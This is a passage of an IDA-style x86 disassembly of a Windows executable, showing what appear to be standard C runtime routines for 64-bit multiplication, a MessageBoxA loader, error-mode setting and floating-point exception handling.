arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_4190D9
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------

loc_4190D9:				; CODE XREF: sub_4190C0+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_4190C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4190F4	proc near		; CODE XREF: sub_4136C1+15Dp

var_30		= dword	ptr -30h
var_20		= byte ptr -20h
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		push	edi
		call	sub_40F18B
		xor	ebx, ebx
		cmp	dword_426508, ebx
		mov	[ebp+var_10], eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], ebx
		jnz	loc_4191C9
		push	offset aUser32_dll ; "USER32.DLL"
		call	ds:off_41E0D0
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_419134

loc_41912D:				; CODE XREF: sub_4190F4+50j
		xor	eax, eax
		jmp	loc_41928D
; ---------------------------------------------------------------------------

loc_419134:				; CODE XREF: sub_4190F4+37j
		mov	esi, ds:off_41E0D4
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi ; sub_44439D
		cmp	eax, ebx
		jz	short loc_41912D
		push	eax
		call	sub_40F128
		mov	[esp+30h+var_30], offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		mov	dword_426508, eax
		call	esi ; sub_44439D
		push	eax
		call	sub_40F128
		mov	[esp+30h+var_30], offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_42650C, eax
		call	esi ; sub_44439D
		push	eax
		call	sub_40F128
		mov	dword_426510, eax
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_411A06
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_419197
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40CA0C
		add	esp, 14h

loc_419197:				; CODE XREF: sub_4190F4+94j
		cmp	[ebp+var_8], 2
		jnz	short loc_4191C9
		push	offset aGetuserobjecti ; "GetUserObjectInformationA"
		push	edi
		call	esi ; sub_44439D
		push	eax
		call	sub_40F128
		cmp	eax, ebx
		pop	ecx
		mov	dword_426518, eax
		jz	short loc_4191C9
		push	offset aGetprocesswind ; "GetProcessWindowStation"
		push	edi
		call	esi ; sub_44439D
		push	eax
		call	sub_40F128
		pop	ecx
		mov	dword_426514, eax

loc_4191C9:				; CODE XREF: sub_4190F4+22j
					; sub_4190F4+A7j ...
		mov	eax, dword_426514
		mov	esi, [ebp+var_10]
		cmp	eax, esi
		jz	short loc_419242
		cmp	dword_426518, esi
		jz	short loc_419242
		push	eax
		call	sub_40F194
		pop	ecx
		call	eax
		cmp	eax, ebx
		jz	short loc_41920F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	0Ch
		lea	ecx, [ebp+var_20]
		push	ecx
		push	1
		push	eax
		push	dword_426518
		call	sub_40F194
		pop	ecx
		call	eax
		test	eax, eax
		jz	short loc_41920F
		test	[ebp+var_18], 1
		jnz	short loc_419242

loc_41920F:				; CODE XREF: sub_4190F4+F4j
					; sub_4190F4+113j
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_411A3D
		test	eax, eax
		pop	ecx
		jz	short loc_41922A
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40CA0C
		add	esp, 14h

loc_41922A:				; CODE XREF: sub_4190F4+127j
		cmp	[ebp+var_C], 4
		jb	short loc_419239
		or	[ebp+arg_8], 200000h
		jmp	short loc_419273
; ---------------------------------------------------------------------------

loc_419239:				; CODE XREF: sub_4190F4+13Aj
		or	[ebp+arg_8], 40000h
		jmp	short loc_419273
; ---------------------------------------------------------------------------

loc_419242:				; CODE XREF: sub_4190F4+DFj
					; sub_4190F4+E7j ...
		mov	eax, dword_42650C
		cmp	eax, esi
		jz	short loc_419273
		push	eax
		call	sub_40F194
		pop	ecx
		call	eax
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_419273
		mov	eax, dword_426510
		cmp	eax, esi
		jz	short loc_419273
		push	[ebp+var_4]
		push	eax
		call	sub_40F194
		pop	ecx
		call	eax
		mov	[ebp+var_4], eax

loc_419273:				; CODE XREF: sub_4190F4+143j
					; sub_4190F4+14Cj ...
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	[ebp+var_4]
		push	dword_426508
		call	sub_40F194
		pop	ecx
		call	eax

loc_41928D:				; CODE XREF: sub_4190F4+3Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4190F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_419292	proc near		; CODE XREF: sub_4136C1+27p
					; sub_4136C1+38p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ecx, esi
		jl	short loc_4192BB
		cmp	ecx, 2
		jle	short loc_4192AE
		cmp	ecx, 3
		jnz	short loc_4192BB
		mov	eax, dword_425B1C
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4192AE:				; CODE XREF: sub_419292+Ej
		mov	eax, dword_425B1C
		mov	dword_425B1C, ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4192BB:				; CODE XREF: sub_419292+9j
					; sub_419292+13j
		call	sub_40F7D4
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40CB08
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_419292	endp


; =============== S U B	R O U T	I N E =======================================



sub_4192D8	proc near		; CODE XREF: sub_41986A+5Fp
					; DATA XREF: sub_4143F6:loc_414438o
		xor	eax, eax
		retn
sub_4192D8	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_293. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4192DC	proc near		; CODE XREF: sub_41933Cp
		mov	eax, offset sub_41AE5A
		mov	off_423F60, eax
		mov	off_423F64, offset sub_41A556
		mov	off_423F68, offset sub_41A514
		mov	off_423F6C, offset sub_41A548
		mov	off_423F70, offset word_41A4BE
		mov	off_423F74, eax
		mov	off_423F78, offset sub_41ADD4
		mov	off_423F7C, offset sub_41A4D4
		mov	off_423F80, offset sub_41A43E
		mov	off_423F84, offset sub_41A3CD
		retn
sub_4192DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41933C	proc near		; CODE XREF: sub_411A79+1Cp
					; DATA XREF: r69pu5ti:off_41FD6Co

arg_0		= dword	ptr  4

		call	sub_4192DC
		call	sub_41AEE0
		cmp	[esp+arg_0], 0
		mov	dword_426520, eax
		jz	short loc_419357
		call	sub_41AE7B

loc_419357:				; CODE XREF: sub_41933C+14j
		fnclex
		retn
sub_41933C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41935A	proc near		; CODE XREF: sub_41995B+4Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	cl, byte ptr [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		mov	[eax+4], edi
		mov	eax, [ebp+arg_0]
		xor	ebx, ebx
		mov	[eax+8], edi
		mov	eax, [ebp+arg_0]
		inc	ebx
		test	cl, 10h
		mov	[eax+0Ch], edi
		jz	short loc_41938C
		mov	eax, [ebp+arg_0]
		or	[eax+4], ebx
		mov	[ebp+arg_8], 0C000008Fh

loc_41938C:				; CODE XREF: sub_41935A+23j
		test	cl, 2
		jz	short loc_41939F
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax+4], 2
		mov	[ebp+arg_8], 0C0000093h

loc_41939F:				; CODE XREF: sub_41935A+35j
		test	cl, bl
		jz	short loc_4193B1
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax+4], 4
		mov	[ebp+arg_8], 0C0000091h

loc_4193B1:				; CODE XREF: sub_41935A+47j
		test	cl, 4
		jz	short loc_4193C4
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax+4], 8
		mov	[ebp+arg_8], 0C000008Eh

loc_4193C4:				; CODE XREF: sub_41935A+5Aj
		test	cl, 8
		jz	short loc_4193D7
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax+4], 10h
		mov	[ebp+arg_8], 0C0000090h

loc_4193D7:				; CODE XREF: sub_41935A+6Dj
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		shl	ecx, 4
		not	ecx
		xor	ecx, [eax+8]
		and	ecx, 10h
		xor	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		add	ecx, ecx
		not	ecx
		xor	ecx, [eax+8]
		and	ecx, 8
		xor	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		shr	ecx, 1
		not	ecx
		xor	ecx, [eax+8]
		and	ecx, 4
		xor	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		shr	ecx, 3
		not	ecx
		xor	ecx, [eax+8]
		and	ecx, 2
		xor	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		shr	ecx, 5
		not	ecx
		xor	ecx, [eax+8]
		and	ecx, ebx
		xor	[eax+8], ecx
		call	sub_419B5A
		test	al, bl
		jz	short loc_419446
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h

loc_419446:				; CODE XREF: sub_41935A+E3j
		test	al, 4
		jz	short loc_419451
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8

loc_419451:				; CODE XREF: sub_41935A+EEj
		test	al, 8
		jz	short loc_41945C
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4

loc_41945C:				; CODE XREF: sub_41935A+F9j
		test	al, 10h
		jz	short loc_419467
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 2

loc_419467:				; CODE XREF: sub_41935A+104j
		test	al, 20h
		jz	short loc_419471
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx

loc_419471:				; CODE XREF: sub_41935A+10Fj
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_4194B1
		cmp	eax, 400h
		jz	short loc_4194A5
		cmp	eax, 800h
		jz	short loc_419496
		cmp	eax, ecx
		jnz	short loc_4194B7
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_4194B7
; ---------------------------------------------------------------------------

loc_419496:				; CODE XREF: sub_41935A+12Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, 2

loc_4194A1:				; CODE XREF: sub_41935A+155j
		mov	[eax], ecx
		jmp	short loc_4194B7
; ---------------------------------------------------------------------------

loc_4194A5:				; CODE XREF: sub_41935A+127j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx
		jmp	short loc_4194A1
; ---------------------------------------------------------------------------

loc_4194B1:				; CODE XREF: sub_41935A+120j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh

loc_4194B7:				; CODE XREF: sub_41935A+132j
					; sub_41935A+13Aj ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_4194E2
		cmp	eax, 200h
		jz	short loc_4194D5
		cmp	eax, ecx
		jnz	short loc_4194EF
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_4194EF
; ---------------------------------------------------------------------------

loc_4194D5:				; CODE XREF: sub_41935A+16Dj
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_4194ED
; ---------------------------------------------------------------------------

loc_4194E2:				; CODE XREF: sub_41935A+166j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8

loc_4194ED:				; CODE XREF: sub_41935A+186j
		mov	[eax], ecx

loc_4194EF:				; CODE XREF: sub_41935A+171j
					; sub_41935A+179j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		shl	ecx, 5
		xor	ecx, [eax]
		and	ecx, 1FFE0h
		xor	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		cmp	[ebp+arg_18], edi
		mov	eax, [ebp+arg_0]
		mov	edi, [ebp+arg_14]
		jz	short loc_419539
		and	dword ptr [eax+20h], 0FFFFFFE1h
		mov	eax, [ebp+arg_10]
		fld	dword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	dword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+60h], ebx
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+60h], 0FFFFFFE1h
		fld	dword ptr [edi]
		mov	eax, [ebp+arg_0]
		fstp	dword ptr [eax+50h]
		jmp	short loc_41956D
; ---------------------------------------------------------------------------

loc_419539:				; CODE XREF: sub_41935A+1B7j
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, 2
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+60h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+60h]
		and	ecx, 0FFFFFFE3h
		or	ecx, 2
		mov	[eax+60h], ecx
		fld	qword ptr [edi]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+50h]

loc_41956D:				; CODE XREF: sub_41935A+1DDj
		call	sub_419B65
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	ds:off_41E188
		mov	ecx, [ebp+arg_0]
		test	byte ptr [ecx+8], 10h
		jz	short loc_41958E
		and	dword ptr [esi], 0FFFFFFFEh

loc_41958E:				; CODE XREF: sub_41935A+22Fj
		test	byte ptr [ecx+8], 8
		jz	short loc_419597
		and	dword ptr [esi], 0FFFFFFFBh

loc_419597:				; CODE XREF: sub_41935A+238j
		test	byte ptr [ecx+8], 4
		jz	short loc_4195A0
		and	dword ptr [esi], 0FFFFFFF7h

loc_4195A0:				; CODE XREF: sub_41935A+241j
		test	byte ptr [ecx+8], 2
		jz	short loc_4195A9
		and	dword ptr [esi], 0FFFFFFEFh

loc_4195A9:				; CODE XREF: sub_41935A+24Aj
		test	[ecx+8], bl
		jz	short loc_4195B1
		and	dword ptr [esi], 0FFFFFFDFh

loc_4195B1:				; CODE XREF: sub_41935A+252j
		mov	eax, [ecx]
		and	eax, 3
		xor	ebx, ebx
		sub	eax, ebx
		mov	edx, 0FFFFF3FFh
		jz	short loc_4195F0
		dec	eax
		jz	short loc_4195E2
		dec	eax
		jz	short loc_4195D2
		dec	eax
		jnz	short loc_4195F2
		or	dword ptr [esi], 0C00h
		jmp	short loc_4195F2
; ---------------------------------------------------------------------------

loc_4195D2:				; CODE XREF: sub_41935A+26Bj
		mov	eax, [esi]
		and	eax, 0FFFFFBFFh
		or	eax, 800h

loc_4195DE:				; CODE XREF: sub_41935A+294j
		mov	[esi], eax
		jmp	short loc_4195F2
; ---------------------------------------------------------------------------

loc_4195E2:				; CODE XREF: sub_41935A+268j
		mov	eax, [esi]
		and	eax, 0FFFFF7FFh
		or	eax, 400h
		jmp	short loc_4195DE
; ---------------------------------------------------------------------------

loc_4195F0:				; CODE XREF: sub_41935A+265j
		and	[esi], edx

loc_4195F2:				; CODE XREF: sub_41935A+26Ej
					; sub_41935A+276j ...
		mov	eax, [ecx]
		shr	eax, 2
		and	eax, 7
		sub	eax, ebx
		jz	short loc_419613
		dec	eax
		jz	short loc_419608
		dec	eax
		jnz	short loc_41961E
		and	[esi], edx
		jmp	short loc_41961E
; ---------------------------------------------------------------------------

loc_419608:				; CODE XREF: sub_41935A+2A5j
		mov	eax, [esi]
		and	eax, edx
		or	eax, 200h
		jmp	short loc_41961C
; ---------------------------------------------------------------------------

loc_419613:				; CODE XREF: sub_41935A+2A2j
		mov	eax, [esi]
		and	eax, edx
		or	eax, 300h

loc_41961C:				; CODE XREF: sub_41935A+2B7j
		mov	[esi], eax

loc_41961E:				; CODE XREF: sub_41935A+2A8j
					; sub_41935A+2ACj
		cmp	[ebp+arg_18], ebx
		jz	short loc_41962A
		fld	dword ptr [ecx+50h]
		fstp	dword ptr [edi]
		jmp	short loc_41962F
; ---------------------------------------------------------------------------

loc_41962A:				; CODE XREF: sub_41935A+2C7j
		fld	qword ptr [ecx+50h]
		fstp	qword ptr [edi]

loc_41962F:				; CODE XREF: sub_41935A+2CEj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41935A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419634	proc near		; CODE XREF: sub_41995B+21p

var_28		= qword	ptr -28h
var_10		= qword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		xor	ebx, ebx
		mov	esi, eax
		and	esi, 1Fh
		inc	ebx
		test	al, 8
		mov	[ebp+var_4], esi
		jz	short loc_419662
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_419662
		push	ebx
		call	sub_419B98
		pop	ecx
		and	esi, 0FFFFFFF7h
		jmp	loc_4197F3
; ---------------------------------------------------------------------------

loc_419662:				; CODE XREF: sub_419634+18j
					; sub_419634+1Dj
		test	al, 4
		jz	short loc_41967C
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_41967C
		push	4
		call	sub_419B98
		pop	ecx
		and	esi, 0FFFFFFFBh
		jmp	loc_4197F3
; ---------------------------------------------------------------------------

loc_41967C:				; CODE XREF: sub_419634+30j
					; sub_419634+36j
		test	al, bl
		jz	loc_41971E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_41971E
		push	8
		call	sub_419B98
		mov	eax, [ebp+arg_8]
		pop	ecx
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_4196F6
		cmp	eax, 400h
		jz	short loc_4196E0
		cmp	eax, 800h
		jz	short loc_4196CA
		cmp	eax, ecx
		jnz	short loc_419716
		fldz
		mov	ecx, [ebp+arg_4]
		fcomp	qword ptr [ecx]
		fnstsw	ax
		fld	dbl_4240A8
		test	ah, 5
		jnp	short loc_419714
		jmp	short loc_419712
; ---------------------------------------------------------------------------

loc_4196CA:				; CODE XREF: sub_419634+7Aj
		fldz
		mov	ecx, [ebp+arg_4]
		fcomp	qword ptr [ecx]
		fnstsw	ax
		test	ah, 5
		jnp	short loc_419704
		fld	dbl_4240A8
		jmp	short loc_419712
; ---------------------------------------------------------------------------

loc_4196E0:				; CODE XREF: sub_419634+73j
		fldz
		mov	ecx, [ebp+arg_4]
		fcomp	qword ptr [ecx]
		fnstsw	ax
		test	ah, 5
		jp	short loc_41970C
		fld	dbl_4240A8
		jmp	short loc_419714
; ---------------------------------------------------------------------------

loc_4196F6:				; CODE XREF: sub_419634+6Cj
		fldz
		mov	ecx, [ebp+arg_4]
		fcomp	qword ptr [ecx]
		fnstsw	ax
		test	ah, 5
		jp	short loc_41970C

loc_419704:				; CODE XREF: sub_419634+A2j
		fld	dbl_424098
		jmp	short loc_419714
; ---------------------------------------------------------------------------

loc_41970C:				; CODE XREF: sub_419634+B8j
					; sub_419634+CEj
		fld	dbl_424098

loc_419712:				; CODE XREF: sub_419634+94j
					; sub_419634+AAj
		fchs

loc_419714:				; CODE XREF: sub_419634+92j
					; sub_419634+C0j ...
		fstp	qword ptr [ecx]

loc_419716:				; CODE XREF: sub_419634+7Ej
		and	esi, 0FFFFFFFEh
		jmp	loc_4197F3
; ---------------------------------------------------------------------------

loc_41971E:				; CODE XREF: sub_419634+4Aj
					; sub_419634+54j
		test	al, 2
		jz	loc_4197F3
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_4197F3
		xor	esi, esi
		test	al, 10h
		jz	short loc_419738
		mov	esi, ebx

loc_419738:				; CODE XREF: sub_419634+100j
		fldz
		push	edi
		mov	edi, [ebp+arg_4]
		fcomp	qword ptr [edi]
		fnstsw	ax
		test	ah, 44h
		jnp	loc_4197DD
		fld	qword ptr [edi]
		lea	eax, [ebp+var_8]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+28h+var_28]
		call	sub_419AAB
		mov	ecx, [ebp+var_8]
		fstp	[ebp+var_10]
		add	ecx, 0FFFFFA00h
		add	esp, 0Ch
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_41977F
		fld	[ebp+var_10]
		mov	esi, ebx
		fmul	ds:dbl_41FDF0
		jmp	short loc_4197D3
; ---------------------------------------------------------------------------

loc_41977F:				; CODE XREF: sub_419634+13Cj
		fldz
		fcomp	[ebp+var_10]
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_41978F
		mov	edx, ebx
		jmp	short loc_419791
; ---------------------------------------------------------------------------

loc_41978F:				; CODE XREF: sub_419634+155j
		xor	edx, edx

loc_419791:				; CODE XREF: sub_419634+159j
		movzx	eax, byte ptr [ebp+var_10+6]
		and	eax, 0Fh
		or	eax, 10h
		mov	word ptr [ebp+var_10+6], ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_4197CA
		sub	eax, ecx

loc_4197AA:				; CODE XREF: sub_419634+194j
		test	byte ptr [ebp+var_10], bl
		jz	short loc_4197B5
		test	esi, esi
		jnz	short loc_4197B5
		mov	esi, ebx

loc_4197B5:				; CODE XREF: sub_419634+179j
					; sub_419634+17Dj
		shr	dword ptr [ebp+var_10],	1
		test	byte ptr [ebp+var_10+4], bl
		jz	short loc_4197C4
		or	dword ptr [ebp+var_10],	80000000h

loc_4197C4:				; CODE XREF: sub_419634+187j
		shr	dword ptr [ebp+var_10+4], 1
		dec	eax
		jnz	short loc_4197AA

loc_4197CA:				; CODE XREF: sub_419634+172j
		test	edx, edx
		jz	short loc_4197D6
		fld	[ebp+var_10]
		fchs

loc_4197D3:				; CODE XREF: sub_419634+149j
		fstp	[ebp+var_10]

loc_4197D6:				; CODE XREF: sub_419634+198j
		fld	[ebp+var_10]
		fstp	qword ptr [edi]
		jmp	short loc_4197DF
; ---------------------------------------------------------------------------

loc_4197DD:				; CODE XREF: sub_419634+111j
		mov	esi, ebx

loc_4197DF:				; CODE XREF: sub_419634+1A7j
		test	esi, esi
		pop	edi
		jz	short loc_4197EC
		push	10h
		call	sub_419B98
		pop	ecx

loc_4197EC:				; CODE XREF: sub_419634+1AEj
		and	[ebp+var_4], 0FFFFFFFDh
		mov	esi, [ebp+var_4]

loc_4197F3:				; CODE XREF: sub_419634+29j
					; sub_419634+43j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_41980A
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_41980A
		push	20h
		call	sub_419B98
		pop	ecx
		and	esi, 0FFFFFFEFh

loc_41980A:				; CODE XREF: sub_419634+1C3j
					; sub_419634+1C9j
		xor	eax, eax
		test	esi, esi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_419634	endp


; =============== S U B	R O U T	I N E =======================================



sub_419815	proc near		; CODE XREF: sub_41986A+6Cp
					; sub_41986A+91p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_419831
		jle	short locret_41983C
		cmp	eax, 3
		jg	short locret_41983C
		call	sub_40F7D4
		mov	dword ptr [eax], 22h
		retn
; ---------------------------------------------------------------------------

loc_419831:				; CODE XREF: sub_419815+7j
		call	sub_40F7D4
		mov	dword ptr [eax], 21h

locret_41983C:				; CODE XREF: sub_419815+9j
					; sub_419815+Ej
		retn
sub_419815	endp


; =============== S U B	R O U T	I N E =======================================



sub_41983D	proc near		; CODE XREF: sub_41995B+55p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_419849
		push	5
		jmp	short loc_41985F
; ---------------------------------------------------------------------------

loc_419849:				; CODE XREF: sub_41983D+6j
		test	al, 8
		jz	short loc_419851
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_419851:				; CODE XREF: sub_41983D+Ej
		test	al, 4
		jz	short loc_419859
		push	2
		jmp	short loc_41985F
; ---------------------------------------------------------------------------

loc_419859:				; CODE XREF: sub_41983D+16j
		test	al, 1
		jz	short loc_419861
		push	3

loc_41985F:				; CODE XREF: sub_41983D+Aj
					; sub_41983D+1Aj
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_419861:				; CODE XREF: sub_41983D+1Ej
		movzx	eax, al
		and	eax, 2
		add	eax, eax
		retn
sub_41983D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41986A(int,int,int,int,int,int,double,int)

sub_41986A	proc near		; CODE XREF: sub_419908+2Ap
					; sub_41995B+87p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		xor	eax, eax

loc_419872:				; CODE XREF: sub_41986A+18j
		mov	ecx, dword_423FB0[eax*8]
		cmp	ecx, [ebp+arg_4]
		jz	short loc_4198E2
		inc	eax
		cmp	eax, 1Dh
		jl	short loc_419872
		xor	eax, eax

loc_419886:				; CODE XREF: sub_41986A+7Fj
		test	eax, eax
		mov	[ebp+var_1C], eax
		jz	short loc_4198EB
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_419B71
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4192D8
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4198DC
		push	esi
		call	sub_419815
		pop	ecx

loc_4198DC:				; CODE XREF: sub_41986A+69j
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_4198E2:				; CODE XREF: sub_41986A+12j
		mov	eax, off_423FB4[eax*8]
		jmp	short loc_419886
; ---------------------------------------------------------------------------

loc_4198EB:				; CODE XREF: sub_41986A+21j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_419B71
		push	[ebp+arg_0]
		call	sub_419815
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_41986A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419908(int,double,int)

sub_419908	proc near		; CODE XREF: sub_4146A6+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= qword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_423FA0, 0
		jnz	short loc_41993C
		push	[ebp+arg_C]	; int
		fld	[ebp+arg_4]
		sub	esp, 18h
		fstp	[esp+1Ch+var_C]
		fldz
		fstp	[esp+1Ch+var_14]
		fld	[ebp+arg_4]
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_41986A
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41993C:				; CODE XREF: sub_419908+Aj
		call	sub_40F7D4
		push	0FFFFh
		push	[ebp+arg_C]
		mov	dword ptr [eax], 21h
		call	sub_419B71
		fld	[ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_419908	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41995B(int,int,double,double,int)

sub_41995B	proc near		; CODE XREF: sub_4146A6:loc_41476Bp

var_9C		= qword	ptr -9Ch
var_94		= qword	ptr -94h
var_8C		= qword	ptr -8Ch
var_84		= dword	ptr -84h
var_80		= byte ptr -80h
